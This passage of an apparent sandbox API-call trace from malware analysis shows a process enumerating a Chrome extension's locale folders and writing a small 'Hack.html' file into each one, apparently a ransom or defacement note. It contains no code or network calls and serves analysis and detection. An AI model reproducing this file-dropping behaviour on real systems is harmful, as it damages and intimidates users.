lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x8e [0074.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.307] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.307] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.307] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.307] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.307] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr", lpFilePart=0x0) returned 0x8d [0074.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x8e [0074.308] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.308] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.308] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.308] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.308] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.309] GetFileType (hFile=0x174) returned 0x1 [0074.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.309] GetFileType (hFile=0x174) returned 0x1 [0074.309] WriteFile (in: hFile=0x174, lpBuffer=0x2742bf0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2742bf0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi", lpFilePart=0x0) returned 0x8d [0074.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x8e [0074.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.311] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.311] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.311] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.311] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi", lpFilePart=0x0) returned 0x8d [0074.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\", lpFilePart=0x0) returned 0x8e [0074.311] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.312] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.312] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.312] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.312] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.313] GetFileType (hFile=0x174) returned 0x1 [0074.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.313] GetFileType (hFile=0x174) returned 0x1 [0074.313] WriteFile (in: hFile=0x174, lpBuffer=0x27482a0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x27482a0*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr", lpFilePart=0x0) returned 0x8d [0074.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\", lpFilePart=0x0) returned 0x8e [0074.314] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.315] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.315] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.315] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.315] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr", lpFilePart=0x0) returned 0x8d [0074.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\", lpFilePart=0x0) returned 0x8e [0074.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.316] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.316] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.316] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.316] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.317] GetFileType (hFile=0x174) returned 0x1 [0074.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.317] GetFileType (hFile=0x174) returned 0x1 [0074.317] WriteFile (in: hFile=0x174, lpBuffer=0x274d950*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x274d950*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu", lpFilePart=0x0) returned 0x8d [0074.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x8e [0074.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.319] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.319] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.319] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.319] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu", lpFilePart=0x0) returned 0x8d [0074.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\", lpFilePart=0x0) returned 0x8e [0074.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.320] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.320] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.320] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.320] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\Hack.html", lpFilePart=0x0) returned 0x97 [0074.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0074.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0074.321] GetFileType (hFile=0x174) returned 0x1 [0074.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0074.321] GetFileType (hFile=0x174) returned 0x1 [0074.321] WriteFile (in: hFile=0x174, lpBuffer=0x2753000*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2753000*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0074.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id", lpFilePart=0x0) returned 0x8d [0074.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\", lpFilePart=0x0) returned 0x8e [0074.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.324] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.324] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.324] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0074.325] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0074.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0074.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0074.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0074.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id", lpFilePart=0x0) returned 0x8d [0074.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\", lpFilePart=0x0) returned 0x8e [0074.325] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a8a8 [0074.325] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0074.325] FindNextFileW (in: 